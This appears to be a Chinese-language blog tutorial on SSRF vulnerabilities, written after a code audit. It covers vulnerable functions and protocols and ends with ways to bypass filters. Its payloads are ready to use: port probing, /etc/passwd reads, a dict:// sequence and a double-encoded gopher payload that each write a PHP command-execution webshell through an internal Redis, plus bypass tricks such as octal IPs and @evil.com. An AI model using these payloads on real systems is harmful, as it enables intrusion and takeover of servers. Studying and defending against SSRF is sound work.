前言
最近在一次代码审计过程中发现了一处SSRF漏洞,立即就精神了起来,脑海中出现了各种利用方式,实际去利用的时候发现存在很多的问题。所以就想趁着这个机会把SSRF漏洞做一个总结。
SSRF漏洞是什么
定义
SSRF也就是服务端请求伪造,是指攻击者向服务端发送包含恶意URI链接的请求,借由服务端去访问此URI,以获取保护网络资源的安全漏洞,是常见的web安全漏洞的一种
上述中有一个比较重要的点,就是攻击者发送链接,由服务端去请求。这种方式常常可以用来绕过网络的限制,攻击我们无法直接访问的网络。
可能存在SSRF的功能点
- 1)分享:通过URL地址分享网页内容
- 2)在线翻译
- 3)图片的加载与下载:通过URL地址加载或下载图片,要注意区分是客户端发送的请求还是服务端发送的请求
- 4)图片,文章收藏功能
- 5)未公开的api实现以及其他调用URL的功能
PHP中可以造成SSRF的函数
- 1)file_get_contents():把整个文件读入一个字符串中;支持http(s),file协议,在PHP5.4上测试不支持dict,ghoper协议。也有可能是我操作方式不对,在file_get_contents利用dict和ghoper协议大家有利用成功的吗?
- 2)fsockopen():打开一个网络连接或者一个Unix套接字连接,在PHP5.4上测试只有http协议成功
- 3)curl_exec():用于执行指定的CURL会话,支持的协议比较多,常用于SSRF的协议经过测试都支持,如dict,ghoper,file。有的协议需要一定的条件这点需要注意。
SSRF漏洞的危害
- 1)扫描内网开放的端口
- 2)读取主机任意文件
- 3)攻击内网应用,如redis,mysql等
SSRF漏洞利用例子
在说SSRF漏洞利用以前先来说一下,SSRF经常利用的一些协议
- 1)HTTP(s):最常用到的一种协议,这个就不多说了,可以用来验证是否存在SSRF漏洞,探测端口以及服务。
- 2)file:本地文件传输协议,可以用来读取任意系统文件
- 3)dict:字典服务器协议,dict是基于查询相应的TCP协议,服务器监听端口2628。在SSRF漏洞中可用于探测端口以及攻击内网应用
- 4)ghoper:互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前。可用于攻击内网应用,可用于反弹shell。
由于curl支持的协议比较多,所以下面的例子中都是使用curl来进行操作的。
探测内网端口和服务
探测内网端口和服务一般使用http和dict协议。如下面所示,在有回显的情况下,可以直接确认服务端开启了redis服务。我们也可以直接爆破来批量测试服务端开始了那些端口。
?url=dict://127.0.0.1:6379
读取任意文件
在有回显的情况下,可以使用file协议来读取内网任意文件。
?url=file:///etc/passwd
攻击内网应用
攻击内网应用需要用到dict协议或者ghoper协议。下面以攻击redis协议为例。
1)利用dict协议写入webshell
利用这种方式需要知道网站的绝对路径,目录有写入权限,以及redis没有密码或者弱密码(可以爆破弱密码)。
具体的payload如下:
?url=dict://127.0.0.1:6379/info
?url=dict://127.0.0.1:6379/config:set:dir:/var/www/html
?url=dict://127.0.0.1:6379/config:set:dbfilename:webshell.php
?url=dict://127.0.0.1:6379/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e"
?url=dict://127.0.0.1:6379/save
2)利用gopher协议写入webshell
payload:?url=
gopher%3a//127.0.0.1%3a6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
上面的payload是经过两次url编码的,因为GET会进行一次编码,curl也会进行一次编码。
ghoper可以用来攻击众多的内网应用,具体的payload可以通过githunb上开源的一个程序来生成。链接为:https://github.com/tarunkant/Gopherus
SSRF绕过技巧
绕过IP限制
有些网站可能会限制访问的IP,此时可以通过下面的方式进行绕过:
- 1)使用IPV6地址
- 2)对IP转化成十进制,八进制等,如0177.0.0.01(八进制)
- 3)利用特殊域名。xip.io可以指向任意域名,即127.0.0.1.xip.io,可解析为127.0.0.1
- 4)利用句号。如127。0。0。1
- 5)可以[::]。如http://[::]:80/
- 6)利用短网址。比如百度短地址
绕过URL解析限制
如果网站限制了使用URL,可以尝试下面的方法绕过:
- 1)使用@符号绕过:如127.0.0.1@evil.com
- 2)利用302跳转,需要一个vps,把302转换的代码部署到vps上,然后去访问,就可跳转到内网中
总结
开头说审计到的那个SSRF漏洞使用的是file_get_contents函数并且没有任何回显,读取本地文件是不可能的了,本来想着是不是可以直接盲打redis应用,通过测试发现在file_get_contents函数中并不能使用dict和ghoper协议。网上看到有的文章说是可以使用这两个协议,可能是我本人比较菜,操作方式不对,如果大家对于这种无回显并使用file_get_contents函数的漏洞有什么好的方法,希望大家赐教。